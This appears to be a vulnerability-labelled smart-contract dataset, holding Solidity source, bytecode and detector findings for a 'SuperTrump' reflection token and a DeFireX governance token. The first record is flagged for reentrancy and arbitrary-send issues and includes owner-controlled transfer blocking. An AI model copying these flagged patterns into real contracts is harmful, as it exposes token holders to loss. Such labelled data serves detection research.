function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102cb578063c9567bf9146102e0578063dd62ed3e146102f5578063eb91e6511461033b578063f9f92be41461035b57600080fd5b8063715018a6146102425780638da5cb5b1461025757806395d89b411461027f578063a9059cbb146102ab57600080fd5b8063313ce567116100dc578063313ce567146101ba57806335ffbc47146101d65780635932ead1146101ed5780636fc3eaec1461020d57806370a082311461022257600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019a57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e61037b565b60405161013b9190611642565b60405180910390f35b34801561015057600080fd5b5061016461015f3660046115b2565b61039b565b604051901515815260200161013b565b34801561018057600080fd5b50683635c9adc5dea000005b60405190815260200161013b565b3480156101a657600080fd5b506101646101b5366004611572565b6103b2565b3480156101c657600080fd5b506040516009815260200161013b565b3480156101e257600080fd5b506101eb61041b565b005b3480156101f957600080fd5b506101eb6102083660046115dd565b61045d565b34801561021957600080fd5b506101eb6104a5565b34801561022e57600080fd5b5061018c61023d366004611502565b6104d2565b34801561024e57600080fd5b506101eb6104f4565b34801561026357600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561028b57600080fd5b5060408051808201909152600381526214d51560ea1b602082015261012e565b3480156102b757600080fd5b506101646102c63660046115b2565b610568565b3480156102d757600080fd5b506101eb610575565b3480156102ec57600080fd5b506101eb6105ab565b34801561030157600080fd5b5061018c61031036600461153a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034757600080fd5b506101eb610356366004611502565b6109a1565b34801561036757600080fd5b506101eb610376366004611502565b6109ec565b60606040518060600160405280602881526020016117e260289139905090565b60006103a8338484610a3a565b5060015b92915050565b60006103bf848484610b5e565b610411843361040c8560405180606001604052806028815260200161180a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d1d565b610a3a565b5060019392505050565b6000546001600160a01b0316331461044e5760405162461bcd60e51b815260040161044590611695565b60405180910390fd5b683635c9adc5dea00000601455565b6000546001600160a01b031633146104875760405162461bcd60e51b815260040161044590611695565b60138054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b0316146104c557600080fd5b476104cf81610d57565b50565b6001600160a01b0381166000908152600260205260408120546103ac90610e72565b6000546001600160a01b0316331461051e5760405162461bcd60e51b815260040161044590611695565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a8338484610b5e565b600e546001600160a01b0316336001600160a01b03161461059557600080fd5b60006105a0306104d2565b90506104cf81610ef6565b6000546001600160a01b031633146105d55760405162461bcd60e51b815260040161044590611695565b601354600160a01b900460ff161561062f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610445565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561066c3082683635c9adc5dea00000610a3a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a557600080fd5b505afa1580156106b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dd919061151e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561072557600080fd5b505afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d919061151e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107a557600080fd5b505af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd919061151e565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d719473061080d816104d2565b6000806108226000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561088557600080fd5b505af1158015610899573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108be9190611615565b5050600f600c55506000600d556013805461ffff60b01b191661010160b01b1790556108f46064683635c9adc5dea00000611752565b6108ff906003611772565b60145560138054600160a01b60ff60a01b1982161790915560125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561096557600080fd5b505af1158015610979573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099d91906115f9565b5050565b6000546001600160a01b031633146109cb5760405162461bcd60e51b815260040161044590611695565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314610a165760405162461bcd60e51b815260040161044590611695565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b038216610afd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610bc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6001600160a01b03831660009081526006602052604090205460ff1615610be657600080fd5b6001600160a01b0383163014610d0d57600d54600a55600c54600b556013546001600160a01b038481169116148015610c2d57506012546001600160a01b03838116911614155b8015610c5257506001600160a01b03821660009081526005602052604090205460ff16155b8015610c675750601354600160b81b900460ff165b15610c7b57601454811115610c7b57600080fd5b6000610c86306104d2565b9050610c9d6103e8683635c9adc5dea00000611752565b811115610d0b57601354600160a81b900460ff16158015610ccc57506013546001600160a01b03858116911614155b8015610ce15750601354600160b01b900460ff165b15610d0b57610cef81610ef6565b47670429d069189e0000811115610d0957610d0947610d57565b505b505b610d1883838361109b565b505050565b60008184841115610d415760405162461bcd60e51b81526004016104459190611642565b506000610d4e8486611791565b95945050505050565b6000610d64606483611752565b600e549091506001600160a01b03166108fc610d81836014611772565b6040518115909202916000818181858888f19350505050158015610da9573d6000803e3d6000fd5b50600f546001600160a01b03166108fc610dc4836014611772565b6040518115909202916000818181858888f19350505050158015610dec573d6000803e3d6000fd5b506010546001600160a01b03166108fc610e07836014611772565b6040518115909202916000818181858888f19350505050158015610e2f573d6000803e3d6000fd5b506011546001600160a01b03166108fc610e4a836028611772565b6040518115909202916000818181858888f19350505050158015610d18573d6000803e3d6000fd5b6000600854821115610ed95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610445565b6000610ee36110a6565b9050610eef83826110c9565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f4c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fa057600080fd5b505afa158015610fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd8919061151e565b81600181518110610ff957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461101f9130911684610a3a565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906110589085906000908690309042906004016116ca565b600060405180830381600087803b15801561107257600080fd5b505af1158015611086573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b610d1883838361110b565b60008060006110b3611202565b90925090506110c282826110c9565b9250505090565b6000610eef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611244565b60008060008060008061111d87611272565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061114f90876112cf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461117e9086611311565b6001600160a01b0389166000908152600260205260409020556111a081611370565b6111aa84836113ba565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111ef91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061121e82826110c9565b82101561123b57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836112655760405162461bcd60e51b81526004016104459190611642565b506000610d4e8486611752565b600080600080600080600080600061128f8a600a54600b546113de565b925092509250600061129f6110a6565b905060008060006112b28e878787611433565b919e509c509a509598509396509194505050505091939550919395565b6000610eef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1d565b60008061131e838561173a565b905083811015610eef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b600061137a6110a6565b905060006113888383611483565b306000908152600260205260409020549091506113a59082611311565b30600090815260026020526040902055505050565b6008546113c790836112cf565b6008556009546113d79082611311565b6009555050565b60008080806113f860646113f28989611483565b906110c9565b9050600061140b60646113f28a89611483565b905060006114238261141d8b866112cf565b906112cf565b9992985090965090945050505050565b60008080806114428886611483565b905060006114508887611483565b9050600061145e8888611483565b905060006114708261141d86866112cf565b939b939a50919850919650505050505050565b600082611492575060006103ac565b600061149e8385611772565b9050826114ab8583611752565b14610eef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b600060208284031215611513578081fd5b8135610eef816117be565b60006020828403121561152f578081fd5b8151610eef816117be565b6000806040838503121561154c578081fd5b8235611557816117be565b91506020830135611567816117be565b809150509250929050565b600080600060608486031215611586578081fd5b8335611591816117be565b925060208401356115a1816117be565b929592945050506040919091013590565b600080604083850312156115c4578182fd5b82356115cf816117be565b946020939093013593505050565b6000602082840312156115ee578081fd5b8135610eef816117d3565b60006020828403121561160a578081fd5b8151610eef816117d3565b600080600060608486031215611629578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561166e57858101830151858201604001528201611652565b8181111561167f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117195784516001600160a01b0316835293830193918301916001016116f4565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561174d5761174d6117a8565b500190565b60008261176d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561178c5761178c6117a8565b500290565b6000828210156117a3576117a36117a8565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104cf57600080fd5b80151581146104cf57600080fdfe53757065725472756d70207c7c2068747470733a2f2f742e6d652f53757065725472756d7045544845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201502f314ff1f555246299cea283f699bff25f3a9debadbfeefe912ce4e73520e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,636 |
0x4611295e90392f7d3279a4df906721b7eab774d4
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract DfxToken is Initializable {
/// @notice EIP-20 token name for this token
string public constant name = "DeFireX";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "DFX";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million DFX
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Initialize a new DFX token
* @param account The initial account to grant all the tokens
*/
function initialize(address account) public initializer {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(now <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
// uint256 chainId;
// assembly { chainId := chainid() }
// return chainId;
return 1; // mainnet id
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063782d6fe1116100ad578063c3cda52011610071578063c3cda5201461027d578063c4d66de814610290578063dd62ed3e146102a3578063e7a324dc146102b6578063f1127ed8146102be5761012c565b8063782d6fe11461021c5780637ecebe001461023c57806395d89b411461024f578063a9059cbb14610257578063b4b5ea571461026a5761012c565b8063313ce567116100f4578063313ce5671461019f578063587cde1e146101b45780635c19a95c146101d45780636fcfff45146101e957806370a08231146102095761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461016f57806320606b701461018457806323b872dd1461018c575b600080fd5b6101396102df565b60405161014691906118bb565b60405180910390f35b61016261015d366004611373565b610302565b6040516101469190611811565b6101776103de565b604051610146919061181f565b6101776103ed565b61016261019a366004611326565b610404565b6101a7610567565b6040516101469190611965565b6101c76101c23660046112c6565b61056c565b6040516101469190611803565b6101e76101e23660046112c6565b610587565b005b6101fc6101f73660046112c6565b610594565b604051610146919061193c565b6101776102173660046112c6565b6105ac565b61022f61022a366004611373565b6105d0565b6040516101469190611981565b61017761024a3660046112c6565b6107e7565b6101396107f9565b610162610265366004611373565b610818565b61022f6102783660046112c6565b610871565b6101e761028b3660046113a3565b6108e1565b6101e761029e3660046112c6565b610aca565b6101776102b13660046112ec565b610bba565b610177610bee565b6102d16102cc36600461142a565b610bfa565b60405161014692919061194a565b60405180604001604052806007815260200166088ca8cd2e4cab60cb1b81525081565b600080600019831415610318575060001961035a565b610357836040518060400160405280601f81526020017f617070726f76653a20616d6f756e742065786365656473203936206269747300815250610c2f565b90505b3360008181526033602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ca908590611973565b60405180910390a360019150505b92915050565b6a084595161401484a00000081565b6040516103f9906117ed565b604051809103902081565b6001600160a01b038316600090815260336020908152604080832033808552908352818420548251808401909352601f83527f617070726f76653a20616d6f756e74206578636565647320393620626974730093830193909352916001600160601b0316908390610476908690610c2f565b9050866001600160a01b0316836001600160a01b0316141580156104a357506001600160601b0382811614155b1561054d5760006104cd8383604051806060016040528060378152602001611a9160379139610c5e565b6001600160a01b038981166000818152603360209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610543908590611973565b60405180910390a3505b610558878783610c9d565b600193505050505b9392505050565b601281565b6035602052600090815260409020546001600160a01b031681565b6105913382610e48565b50565b60376020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152603460205260409020546001600160601b031690565b60004382106105fa5760405162461bcd60e51b81526004016105f1906118cc565b60405180910390fd5b6001600160a01b03831660009081526037602052604090205463ffffffff16806106285760009150506103d8565b6001600160a01b038416600090815260366020908152604080832063ffffffff6000198601811685529252909120541683106106a4576001600160a01b03841660009081526036602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103d8565b6001600160a01b038416600090815260366020908152604080832083805290915290205463ffffffff168310156106df5760009150506103d8565b600060001982015b8163ffffffff168163ffffffff1611156107a257600282820363ffffffff16048103610711611283565b506001600160a01b038716600090815260366020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561077d576020015194506103d89350505050565b805163ffffffff168711156107945781935061079b565b6001820392505b50506106e7565b506001600160a01b038516600090815260366020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60386020526000908152604090205481565b604051806040016040528060038152602001620888cb60eb1b81525081565b60008061085a836040518060400160405280602081526020017f7472616e736665723a20616d6f756e7420657863656564732039362062697473815250610c2f565b9050610867338583610c9d565b5060019392505050565b6001600160a01b03811660009081526037602052604081205463ffffffff168061089c576000610560565b6001600160a01b0383166000908152603660209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108ef906117ed565b604080519182900382208282019091526007825266088ca8cd2e4cab60cb1b6020909201919091527fe4564353de5a692ad6566dd5b90affba8ffbb0109cf333906273f76f37d5410b610940610ed2565b30604051602001610954949392919061186b565b604051602081830303815290604052805190602001209050600060405161097a906117f8565b604051908190038120610995918a908a908a9060200161182d565b604051602081830303815290604052805190602001209050600082826040516020016109c29291906117bc565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109ff94939291906118a0565b6020604051602081039080840390855afa158015610a21573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a545760405162461bcd60e51b81526004016105f1906118dc565b6001600160a01b03811660009081526038602052604090208054600181019091558914610a935760405162461bcd60e51b81526004016105f19061192c565b87421115610ab35760405162461bcd60e51b81526004016105f1906118ec565b610abd818b610e48565b505050505b505050505050565b600054610100900460ff1680610ae35750610ae3610ed7565b80610af1575060005460ff16155b610b0d5760405162461bcd60e51b81526004016105f19061190c565b600054610100900460ff16158015610b38576000805460ff1961ff0019909116610100171660011790555b6001600160a01b03821660008181526034602052604080822080546001600160601b0319166a084595161401484a00000090811790915590517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91610b9c9161181f565b60405180910390a38015610bb6576000805461ff00191690555b5050565b6001600160a01b0391821660009081526033602090815260408083209390941682529190915220546001600160601b031690565b6040516103f9906117f8565b603660209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610c565760405162461bcd60e51b81526004016105f191906118bb565b509192915050565b6000836001600160601b0316836001600160601b031611158290610c955760405162461bcd60e51b81526004016105f191906118bb565b505050900390565b6001600160a01b038316610cc35760405162461bcd60e51b81526004016105f1906118fc565b6001600160a01b038216610ce95760405162461bcd60e51b81526004016105f19061191c565b6001600160a01b038316600090815260346020908152604091829020548251606081019093526030808452610d34936001600160601b039092169285929190611ac890830139610c5e565b6001600160a01b03848116600090815260346020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352602a808452610d9c9491909116928592909190611a6790830139610edd565b6001600160a01b038381166000818152603460205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e09908590611973565b60405180910390a36001600160a01b03808416600090815260356020526040808220548584168352912054610e4392918216911683610f19565b505050565b6001600160a01b03808316600081815260356020818152604080842080546034845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610ecc828483610f19565b50505050565b600190565b303b1590565b6000838301826001600160601b038087169083161015610f105760405162461bcd60e51b81526004016105f191906118bb565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610f4457506000816001600160601b0316115b15610e43576001600160a01b03831615610ffc576001600160a01b03831660009081526037602052604081205463ffffffff169081610f84576000610fc3565b6001600160a01b0385166000908152603660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610fea8285604051806060016040528060228152602001611b2660229139610c5e565b9050610ff8868484846110a7565b5050505b6001600160a01b03821615610e43576001600160a01b03821660009081526037602052604081205463ffffffff169081611037576000611076565b6001600160a01b0384166000908152603660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061109d8285604051806060016040528060218152602001611b4860219139610edd565b9050610ac2858484845b60006110cb436040518060600160405280602e8152602001611af8602e913961125c565b905060008463ffffffff1611801561111457506001600160a01b038516600090815260366020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611173576001600160a01b0385166000908152603660209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611212565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152603683528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252603790935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161124d92919061198f565b60405180910390a25050505050565b600081600160201b8410610c565760405162461bcd60e51b81526004016105f191906118bb565b6040805180820190915260008082526